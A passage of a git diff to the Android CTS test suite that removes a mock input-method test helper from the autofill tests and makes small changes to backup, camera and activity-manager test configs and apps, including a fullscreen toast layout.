- getTracer().onInputViewLayoutChanged(layoutInfo, () -> { });
- }
-
- @Override
- public View onCreateInputView() {
- return getTracer().onCreateInputView(() ->
- new KeyboardLayoutView(this, mSettings, this::onInputViewLayoutChanged));
- }
-
- @Override
- public void onStartInput(EditorInfo editorInfo, boolean restarting) {
- getTracer().onStartInput(editorInfo, restarting,
- () -> super.onStartInput(editorInfo, restarting));
- }
-
- @Override
- public void onStartInputView(EditorInfo editorInfo, boolean restarting) {
- getTracer().onStartInputView(editorInfo, restarting,
- () -> super.onStartInputView(editorInfo, restarting));
- }
-
- @Override
- public void onFinishInputView(boolean finishingInput) {
- getTracer().onFinishInputView(finishingInput,
- () -> super.onFinishInputView(finishingInput));
- }
-
- @Override
- public void onFinishInput() {
- getTracer().onFinishInput(() -> super.onFinishInput());
- }
-
- @Override
- public boolean onKeyDown(int keyCode, KeyEvent event) {
- return getTracer().onKeyDown(keyCode, event, () -> super.onKeyDown(keyCode, event));
- }
-
- @CallSuper
- public boolean onEvaluateInputViewShown() {
- return getTracer().onEvaluateInputViewShown(() -> {
- // onShowInputRequested() is indeed @CallSuper so we always call this, even when the
- // result is ignored.
- final boolean originalResult = super.onEvaluateInputViewShown();
- if (!mSettings.getHardKeyboardConfigurationBehaviorAllowed(false)) {
- final Configuration config = getResources().getConfiguration();
- if (config.keyboard != Configuration.KEYBOARD_NOKEYS
- && config.hardKeyboardHidden != Configuration.HARDKEYBOARDHIDDEN_YES) {
- // Override the behavior of InputMethodService#onEvaluateInputViewShown()
- return true;
- }
- }
- return originalResult;
- });
- }
-
- @Override
- public boolean onShowInputRequested(int flags, boolean configChange) {
- return getTracer().onShowInputRequested(flags, configChange, () -> {
- // onShowInputRequested() is not marked with @CallSuper, but just in case.
- final boolean originalResult = super.onShowInputRequested(flags, configChange);
- if (!mSettings.getHardKeyboardConfigurationBehaviorAllowed(false)) {
- if ((flags & InputMethod.SHOW_EXPLICIT) == 0
- && getResources().getConfiguration().keyboard
- != Configuration.KEYBOARD_NOKEYS) {
- // Override the behavior of InputMethodService#onShowInputRequested()
- return true;
- }
- }
- return originalResult;
- });
- }
-
- @Override
- public void onDestroy() {
- getTracer().onDestroy(() -> {
- super.onDestroy();
- unregisterReceiver(mCommandReceiver);
- mHandlerThread.quitSafely();
- });
- }
-
- @Override
- public AbstractInputMethodImpl onCreateInputMethodInterface() {
- return getTracer().onCreateInputMethodInterface(() -> new MockInputMethodImpl());
- }
-
- private final ThreadLocal<Tracer> mThreadLocalTracer = new ThreadLocal<>();
-
- private Tracer getTracer() {
- Tracer tracer = mThreadLocalTracer.get();
- if (tracer == null) {
- tracer = new Tracer(this);
- mThreadLocalTracer.set(tracer);
- }
- return tracer;
- }
-
- @NonNull
- private ImeState getState() {
- final boolean hasInputBinding = getCurrentInputBinding() != null;
- final boolean hasDummyInputConnectionConnection =
- !hasInputBinding
- || getCurrentInputConnection() == getCurrentInputBinding().getConnection();
- return new ImeState(hasInputBinding, hasDummyInputConnectionConnection);
- }
-
- /**
- * Event tracing helper class for {@link MockIme}.
- */
- private static final class Tracer {
-
- @NonNull
- private final MockIme mIme;
-
- private final int mThreadId = Process.myTid();
-
- @NonNull
- private final String mThreadName =
- Thread.currentThread().getName() != null ? Thread.currentThread().getName() : "";
-
- private final boolean mIsMainThread =
- Looper.getMainLooper().getThread() == Thread.currentThread();
-
- private int mNestLevel = 0;
-
- private String mImeEventActionName;
-
- private String mClientPackageName;
-
- Tracer(@NonNull MockIme mockIme) {
- mIme = mockIme;
- }
-
- private void sendEventInternal(@NonNull ImeEvent event) {
- if (mImeEventActionName == null) {
- mImeEventActionName = mIme.getImeEventActionName();
- }
- if (mClientPackageName == null) {
- mClientPackageName = mIme.getClientPackageName();
- }
- if (mImeEventActionName == null || mClientPackageName == null) {
- Log.e(TAG, "Tracer cannot be used before onCreate()");
- return;
- }
- final Intent intent = new Intent()
- .setAction(mImeEventActionName)
- .setPackage(mClientPackageName)
- .putExtras(event.toBundle())
- .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY
- | Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS);
- mIme.sendBroadcast(intent);
- }
-
- private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable) {
- recordEventInternal(eventName, runnable, new Bundle());
- }
-
- private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable,
- @NonNull Bundle arguments) {
- recordEventInternal(eventName, () -> {
- runnable.run(); return null;
- }, arguments);
- }
-
- private <T> T recordEventInternal(@NonNull String eventName,
- @NonNull Supplier<T> supplier) {
- return recordEventInternal(eventName, supplier, new Bundle());
- }
-
- private <T> T recordEventInternal(@NonNull String eventName,
- @NonNull Supplier<T> supplier, @NonNull Bundle arguments) {
- final ImeState enterState = mIme.getState();
- final long enterTimestamp = SystemClock.elapsedRealtimeNanos();
- final long enterWallTime = System.currentTimeMillis();
- final int nestLevel = mNestLevel;
- // Send enter event
- sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
- mThreadId, mIsMainThread, enterTimestamp, 0, enterWallTime,
- 0, enterState, null, arguments, null));
- ++mNestLevel;
- T result;
- try {
- result = supplier.get();
- } finally {
- --mNestLevel;
- }
- final long exitTimestamp = SystemClock.elapsedRealtimeNanos();
- final long exitWallTime = System.currentTimeMillis();
- final ImeState exitState = mIme.getState();
- // Send exit event
- sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
- mThreadId, mIsMainThread, enterTimestamp, exitTimestamp, enterWallTime,
- exitWallTime, enterState, exitState, arguments, result));
- return result;
- }
-
- public void onCreate(@NonNull Runnable runnable) {
- recordEventInternal("onCreate", runnable);
- }
-
- public void onConfigureWindow(Window win, boolean isFullscreen,
- boolean isCandidatesOnly, @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putBoolean("isFullscreen", isFullscreen);
- arguments.putBoolean("isCandidatesOnly", isCandidatesOnly);
- recordEventInternal("onConfigureWindow", runnable, arguments);
- }
-
- public boolean onEvaluateFullscreenMode(@NonNull BooleanSupplier supplier) {
- return recordEventInternal("onEvaluateFullscreenMode", supplier::getAsBoolean);
- }
-
- public boolean onEvaluateInputViewShown(@NonNull BooleanSupplier supplier) {
- return recordEventInternal("onEvaluateInputViewShown", supplier::getAsBoolean);
- }
-
- public View onCreateInputView(@NonNull Supplier<View> supplier) {
- return recordEventInternal("onCreateInputView", supplier);
- }
-
- public void onStartInput(EditorInfo editorInfo, boolean restarting,
- @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putParcelable("editorInfo", editorInfo);
- arguments.putBoolean("restarting", restarting);
- recordEventInternal("onStartInput", runnable, arguments);
- }
-
- public void onStartInputView(EditorInfo editorInfo, boolean restarting,
- @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putParcelable("editorInfo", editorInfo);
- arguments.putBoolean("restarting", restarting);
- recordEventInternal("onStartInputView", runnable, arguments);
- }
-
- public void onFinishInputView(boolean finishingInput, @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putBoolean("finishingInput", finishingInput);
- recordEventInternal("onFinishInputView", runnable, arguments);
- }
-
- public void onFinishInput(@NonNull Runnable runnable) {
- recordEventInternal("onFinishInput", runnable);
- }
-
- public boolean onKeyDown(int keyCode, KeyEvent event, @NonNull BooleanSupplier supplier) {
- final Bundle arguments = new Bundle();
- arguments.putInt("keyCode", keyCode);
- arguments.putParcelable("event", event);
- return recordEventInternal("onKeyDown", supplier::getAsBoolean, arguments);
- }
-
- public boolean onShowInputRequested(int flags, boolean configChange,
- @NonNull BooleanSupplier supplier) {
- final Bundle arguments = new Bundle();
- arguments.putInt("flags", flags);
- arguments.putBoolean("configChange", configChange);
- return recordEventInternal("onShowInputRequested", supplier::getAsBoolean, arguments);
- }
-
- public void onDestroy(@NonNull Runnable runnable) {
- recordEventInternal("onDestroy", runnable);
- }
-
- public void attachToken(IBinder token, @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putBinder("token", token);
- recordEventInternal("attachToken", runnable, arguments);
- }
-
- public void bindInput(InputBinding binding, @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putParcelable("binding", binding);
- recordEventInternal("bindInput", runnable, arguments);
- }
-
- public void unbindInput(@NonNull Runnable runnable) {
- recordEventInternal("unbindInput", runnable);
- }
-
- public void showSoftInput(int flags, ResultReceiver resultReceiver,
- @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putInt("flags", flags);
- arguments.putParcelable("resultReceiver", resultReceiver);
- recordEventInternal("showSoftInput", runnable, arguments);
- }
-
- public void hideSoftInput(int flags, ResultReceiver resultReceiver,
- @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putInt("flags", flags);
- arguments.putParcelable("resultReceiver", resultReceiver);
- recordEventInternal("hideSoftInput", runnable, arguments);
- }
-
- public AbstractInputMethodImpl onCreateInputMethodInterface(
- @NonNull Supplier<AbstractInputMethodImpl> supplier) {
- return recordEventInternal("onCreateInputMethodInterface", supplier);
- }
-
- public void onReceiveCommand(
- @NonNull ImeCommand command, @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putBundle("command", command.toBundle());
- recordEventInternal("onReceiveCommand", runnable, arguments);
- }
-
- public void onHandleCommand(
- @NonNull ImeCommand command, @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- arguments.putBundle("command", command.toBundle());
- recordEventInternal("onHandleCommand", runnable, arguments);
- }
-
- public void onInputViewLayoutChanged(@NonNull ImeLayoutInfo imeLayoutInfo,
- @NonNull Runnable runnable) {
- final Bundle arguments = new Bundle();
- imeLayoutInfo.writeToBundle(arguments);
- recordEventInternal("onInputViewLayoutChanged", runnable, arguments);
- }
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java b/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java
deleted file mode 100644
index 727da2cf..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java
+++ /dev/null
@@ -1,323 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.provider.Settings;
-import androidx.annotation.GuardedBy;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.text.TextUtils;
-import android.view.inputmethod.InputMethodManager;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.io.IOException;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Represents an active Mock IME session, which provides basic primitives to write end-to-end tests
- * for IME APIs.
- *
- * <p>To use {@link MockIme} via {@link MockImeSession}, you need to </p>
- * <p>Public methods are not thread-safe.</p>
- */
-public class MockImeSession implements AutoCloseable {
- private final String mImeEventActionName =
- "com.android.cts.mockime.action.IME_EVENT." + SystemClock.elapsedRealtimeNanos();
-
- private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10);
-
- @NonNull
- private final Context mContext;
- @NonNull
- private final UiAutomation mUiAutomation;
-
- private final HandlerThread mHandlerThread = new HandlerThread("EventReceiver");
-
- private static final class EventStore {
- private static final int INITIAL_ARRAY_SIZE = 32;
-
- @NonNull
- public final ImeEvent[] mArray;
- public int mLength;
-
- EventStore() {
- mArray = new ImeEvent[INITIAL_ARRAY_SIZE];
- mLength = 0;
- }
-
- EventStore(EventStore src, int newLength) {
- mArray = new ImeEvent[newLength];
- mLength = src.mLength;
- System.arraycopy(src.mArray, 0, mArray, 0, src.mLength);
- }
-
- public EventStore add(ImeEvent event) {
- if (mLength + 1 <= mArray.length) {
- mArray[mLength] = event;
- ++mLength;
- return this;
- } else {
- return new EventStore(this, mLength * 2).add(event);
- }
- }
-
- public ImeEventStream.ImeEventArray takeSnapshot() {
- return new ImeEventStream.ImeEventArray(mArray, mLength);
- }
- }
-
- private static final class MockImeEventReceiver extends BroadcastReceiver {
- private final Object mLock = new Object();
-
- @GuardedBy("mLock")
- @NonNull
- private EventStore mCurrentEventStore = new EventStore();
-
- @NonNull
- private final String mActionName;
-
- MockImeEventReceiver(@NonNull String actionName) {
- mActionName = actionName;
- }
-
- @Override
- public void onReceive(Context context, Intent intent) {
- if (TextUtils.equals(mActionName, intent.getAction())) {
- synchronized (mLock) {
- mCurrentEventStore =
- mCurrentEventStore.add(ImeEvent.fromBundle(intent.getExtras()));
- }
- }
- }
-
- public ImeEventStream.ImeEventArray takeEventSnapshot() {
- synchronized (mLock) {
- return mCurrentEventStore.takeSnapshot();
- }
- }
- }
- private final MockImeEventReceiver mEventReceiver =
- new MockImeEventReceiver(mImeEventActionName);
-
- private final ImeEventStream mEventStream =
- new ImeEventStream(mEventReceiver::takeEventSnapshot);
-
- private static String executeShellCommand(
- @NonNull UiAutomation uiAutomation, @NonNull String command) throws IOException {
- try (ParcelFileDescriptor.AutoCloseInputStream in =
- new ParcelFileDescriptor.AutoCloseInputStream(
- uiAutomation.executeShellCommand(command))) {
- final StringBuilder sb = new StringBuilder();
- final byte[] buffer = new byte[4096];
- while (true) {
- final int numRead = in.read(buffer);
- if (numRead <= 0) {
- break;
- }
- sb.append(new String(buffer, 0, numRead));
- }
- return sb.toString();
- }
- }
-
- @Nullable
- private String getCurrentInputMethodId() {
- // TODO: Replace this with IMM#getCurrentInputMethodIdForTesting()
- return Settings.Secure.getString(mContext.getContentResolver(),
- Settings.Secure.DEFAULT_INPUT_METHOD);
- }
-
- @Nullable
- private static void writeMockImeSettings(@NonNull Context context,
- @NonNull String imeEventActionName,
- @Nullable ImeSettings.Builder imeSettings) throws Exception {
- final Bundle bundle = ImeSettings.serializeToBundle(imeEventActionName, imeSettings);
- context.getContentResolver().call(SettingsProvider.AUTHORITY, "write", null, bundle);
- }
-
- private ComponentName getMockImeComponentName() {
- return MockIme.getComponentName();
- }
-
- private String getMockImeId() {
- return MockIme.getImeId();
- }
-
- private MockImeSession(@NonNull Context context, @NonNull UiAutomation uiAutomation) {
- mContext = context;
- mUiAutomation = uiAutomation;
- }
-
- private void initialize(@Nullable ImeSettings.Builder imeSettings) throws Exception {
- // Make sure that MockIME is not selected.
- if (mContext.getSystemService(InputMethodManager.class)
- .getInputMethodList()
- .stream()
- .anyMatch(info -> getMockImeComponentName().equals(info.getComponent()))) {
- executeShellCommand(mUiAutomation, "ime reset");
- }
- if (mContext.getSystemService(InputMethodManager.class)
- .getEnabledInputMethodList()
- .stream()
- .anyMatch(info -> getMockImeComponentName().equals(info.getComponent()))) {
- throw new IllegalStateException();
- }
-
- writeMockImeSettings(mContext, mImeEventActionName, imeSettings);
-
- mHandlerThread.start();
- mContext.registerReceiver(mEventReceiver,
- new IntentFilter(mImeEventActionName), null /* broadcastPermission */,
- new Handler(mHandlerThread.getLooper()));
-
- executeShellCommand(mUiAutomation, "ime enable " + getMockImeId());
- executeShellCommand(mUiAutomation, "ime set " + getMockImeId());
-
- PollingCheck.check("Make sure that MockIME becomes available", TIMEOUT,
- () -> getMockImeId().equals(getCurrentInputMethodId()));
- }
-
- /**
- * Creates a new Mock IME session. During this session, you can receive various events from
- * {@link MockIme}.
- *
- * @param context {@link Context} to be used to receive inter-process events from the
- * {@link MockIme} (e.g. via {@link BroadcastReceiver}
- * @param uiAutomation {@link UiAutomation} object to change the device state that are typically
- * guarded by permissions.
- * @param imeSettings Key-value pairs to be passed to the {@link MockIme}.
- * @return A session object, with which you can retrieve event logs from the {@link MockIme} and
- * can clean up the session.
- */
- @NonNull
- public static MockImeSession create(
- @NonNull Context context,
- @NonNull UiAutomation uiAutomation,
- @Nullable ImeSettings.Builder imeSettings) throws Exception {
- final MockImeSession client = new MockImeSession(context, uiAutomation);
- client.initialize(imeSettings);
- return client;
- }
-
- /**
- * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
- * session is created.
- */
- public ImeEventStream openEventStream() {
- return mEventStream.copy();
- }
-
- /**
- * Closes the active session and de-selects {@link MockIme}. Currently which IME will be
- * selected next is up to the system.
- */
- public void close() throws Exception {
- executeShellCommand(mUiAutomation, "ime reset");
-
- PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
- mContext.getSystemService(InputMethodManager.class)
- .getEnabledInputMethodList()
- .stream()
- .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
-
- mContext.unregisterReceiver(mEventReceiver);
- mHandlerThread.quitSafely();
- mContext.getContentResolver().call(SettingsProvider.AUTHORITY, "delete", null, null);
- }
-
- /**
- * Lets {@link MockIme} to call
- * {@link android.view.inputmethod.InputConnection#commitText(CharSequence, int)} with the given
- * parameters.
- *
- * <p>This triggers {@code getCurrentInputConnection().commitText(text, newCursorPosition)}.</p>
- *
- * @param text to be passed as the {@code text} parameter
- * @param newCursorPosition to be passed as the {@code newCursorPosition} parameter
- * @return {@link ImeCommand} object that can be passed to
- * {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
- * wait until this event is handled by {@link MockIme}
- */
- @NonNull
- public ImeCommand callCommitText(@NonNull CharSequence text, int newCursorPosition) {
- final Bundle params = new Bundle();
- params.putCharSequence("text", text);
- params.putInt("newCursorPosition", newCursorPosition);
- final ImeCommand command = new ImeCommand(
- "commitText", SystemClock.elapsedRealtimeNanos(), true, params);
- final Intent intent = new Intent();
- intent.setPackage(MockIme.getComponentName().getPackageName());
- intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
- intent.putExtras(command.toBundle());
- mContext.sendBroadcast(intent);
- return command;
- }
-
- @NonNull
- public ImeCommand callSetBackDisposition(int backDisposition) {
- final Bundle params = new Bundle();
- params.putInt("backDisposition", backDisposition);
- final ImeCommand command = new ImeCommand(
- "setBackDisposition", SystemClock.elapsedRealtimeNanos(), true, params);
- final Intent intent = new Intent();
- intent.setPackage(MockIme.getComponentName().getPackageName());
- intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
- intent.putExtras(command.toBundle());
- mContext.sendBroadcast(intent);
- return command;
- }
-
- @NonNull
- public ImeCommand callRequestHideSelf(int flags) {
- final Bundle params = new Bundle();
- params.putInt("flags", flags);
- final ImeCommand command = new ImeCommand(
- "requestHideSelf", SystemClock.elapsedRealtimeNanos(), true, params);
- final Intent intent = new Intent();
- intent.setPackage(MockIme.getComponentName().getPackageName());
- intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
- intent.putExtras(command.toBundle());
- mContext.sendBroadcast(intent);
- return command;
- }
-
- @NonNull
- public ImeCommand callRequestShowSelf(int flags) {
- final Bundle params = new Bundle();
- params.putInt("flags", flags);
- final ImeCommand command = new ImeCommand(
- "requestShowSelf", SystemClock.elapsedRealtimeNanos(), true, params);
- final Intent intent = new Intent();
- intent.setPackage(MockIme.getComponentName().getPackageName());
- intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
- intent.putExtras(command.toBundle());
- mContext.sendBroadcast(intent);
- return command;
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java b/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java
deleted file mode 100644
index 8632c3b..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.mockime;
-
-import android.app.UiAutomation;
-import android.content.Context;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.cts.mockime.ImeSettings.Builder;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import static org.junit.Assume.assumeTrue;
-
-/**
- * Custom JUnit4 rule to automatically open and close a {@link MockImeSession}.
- */
-public final class MockImeSessionRule implements TestRule {
-
- private static final String TAG = MockImeSessionRule.class.getSimpleName();
- private final Context mContext;
- private final Builder mImeSettings;
- private final UiAutomation mUiAutomation;
- private MockImeSession mMockImeSession;
- private boolean mIgnoreInitException;
- private Throwable mInitException;
-
- public MockImeSessionRule() {
- this(InstrumentationRegistry.getTargetContext(),
- InstrumentationRegistry.getInstrumentation().getUiAutomation(),
- new ImeSettings.Builder(), /* ignoreInitException= */ false);
- }
-
- public MockImeSessionRule(boolean ignoreInitException) {
- this(InstrumentationRegistry.getTargetContext(),
- InstrumentationRegistry.getInstrumentation().getUiAutomation(),
- new ImeSettings.Builder(), ignoreInitException);
- }
-
- public MockImeSessionRule(@NonNull Context context, @NonNull UiAutomation uiAutomation,
- @NonNull ImeSettings.Builder imeSettings, boolean ignoreInitException) {
- mContext = context;
- mUiAutomation = uiAutomation;
- mImeSettings = imeSettings;
- mIgnoreInitException = ignoreInitException;
- }
-
- @Override
- public Statement apply(@NonNull Statement base, @NonNull Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- if (Log.isLoggable(TAG, Log.VERBOSE)) {
- Log.v(TAG, "Creating MockImeSession on " + description.getDisplayName());
- }
- try {
- mMockImeSession = MockImeSession.create(mContext, mUiAutomation, mImeSettings);
- } catch (Throwable t) {
- Log.e(TAG, "Error creating MockImeSession", t);
- if (mIgnoreInitException) {
- mInitException = t;
- } else {
- throw t;
- }
- }
- try {
- base.evaluate();
- } finally {
- if (mMockImeSession != null) {
- if (Log.isLoggable(TAG, Log.VERBOSE)) {
- Log.v(TAG, "Closing MockImeSession on " + description.getDisplayName());
- }
- mMockImeSession.close();
- }
- }
- }
- };
- }
-
- @Nullable
- public MockImeSession getMockImeSession() {
- return mMockImeSession;
- }
-
- @Nullable
- public Throwable getInitException() {
- return mInitException;
- }
-
- public void assumeAvailable() {
- if (mInitException == null) return;
- assumeTrue("Exception setting MockingIme: " + mInitException, mInitException == null);
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java b/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java
deleted file mode 100644
index d9a565b..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-
-import androidx.annotation.Nullable;
-
-/**
- * {@link ContentProvider} to receive {@link ImeSettings} via
- * {@link ContentProvider#call(String, String, String, Bundle)}.
- */
-public class SettingsProvider extends ContentProvider {
-
- static final Uri AUTHORITY = Uri.parse("content://com.android.cts.mockime.provider");
-
- @Nullable
- private static ImeSettings sSettings = null;
-
- @Override
- public boolean onCreate() {
- return true;
- }
-
- @Override
- public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
- String sortOrder) {
- return null;
- }
-
- @Override
- public String getType(Uri uri) {
- return null;
- }
-
- @Override
- public Uri insert(Uri uri, ContentValues values) {
- return null;
- }
-
- @Override
- public int delete(Uri uri, String selection, String[] selectionArgs) {
- return 0;
- }
-
- @Override
- public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
- return 0;
- }
-
- @Override
- public Bundle call(String method, String arg, Bundle extras) {
- if ("write".equals(method)) {
- sSettings = null;
- final String callingPackageName = getCallingPackage();
- if (callingPackageName == null) {
- throw new SecurityException("Failed to obtain the calling package name.");
- }
- sSettings = new ImeSettings(callingPackageName, extras);
- } else if ("delete".equals(method)) {
- sSettings = null;
- }
- return Bundle.EMPTY;
- }
-
- static ImeSettings getSettings() {
- return sSettings;
- }
-}
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index 9b6ab65..8e0bfa0 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -17,11 +17,6 @@
<configuration description="Config for CTS Backup test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="backup" />
-
- <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
- <option name="user-type" value="system" />
- </target_preparer>
-
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsFullBackupApp.apk" />
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index b2b6695..2a2cdc9 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -23,7 +23,7 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.camera.cts" />
<option name="runtime-hint" value="12m7s" />
- <!-- test-timeout unit is ms, value = 300 min -->
- <option name="test-timeout" value="18000000" />
+ <!-- test-timeout unit is ms, value = 200 min -->
+ <option name="test-timeout" value="12000000" />
</test>
</configuration>
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 84a22d7..955cfa2 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -1378,12 +1378,13 @@
Size[] jpegSizes = sm.getJpegOutputSizesChecked();
Size[] rawSizes = sm.getRawOutputSizesChecked();
+ Size maxPreviewSize = getMaxPreviewSize(context, cameraId);
+
maxRawSize = (rawSizes.length != 0) ? CameraTestUtils.getMaxSize(rawSizes) : null;
StreamConfigurationMap configs = sm.getCharacteristics().get(
CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
if (sm.isColorOutputSupported()) {
- Size maxPreviewSize = getMaxPreviewSize(context, cameraId);
maxPrivSizes[PREVIEW] = getMaxSize(privSizes, maxPreviewSize);
maxYuvSizes[PREVIEW] = getMaxSize(yuvSizes, maxPreviewSize);
maxJpegSizes[PREVIEW] = getMaxSize(jpegSizes, maxPreviewSize);
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
index b445091..58a30a0 100755
--- a/tests/framework/base/activitymanager/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -415,6 +415,13 @@
<action android:name="android.service.vr.VrListenerService" />
</intent-filter>
</service>
+
+ <receiver
+ android:name=".ToastReceiver"
+ android:exported="true" />
+ <activity
+ android:name=".PresentationActivity"
+ android:exported="true" />
</application>
</manifest>
diff --git a/tests/framework/base/activitymanager/app/res/layout/toast.xml b/tests/framework/base/activitymanager/app/res/layout/toast.xml
new file mode 100644
index 0000000..3663ab6
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/res/layout/toast.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<RelativeLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:background="#FFFFFFFF"
+ >
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_centerInParent="true"
+ android:text="I'm a fullscreen toast!" />
+
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/Components.java b/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
index a02fe85..6142491 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
@@ -68,6 +68,7 @@
public static final ComponentName NO_HISTORY_ACTIVITY = component("NoHistoryActivity");
public static final ComponentName NO_RELAUNCH_ACTIVITY = component("NoRelaunchActivity");
public static final ComponentName NON_RESIZEABLE_ACTIVITY = component("NonResizeableActivity");
+ public static final ComponentName PRESENTATION_ACTIVITY = component("PresentationActivity");
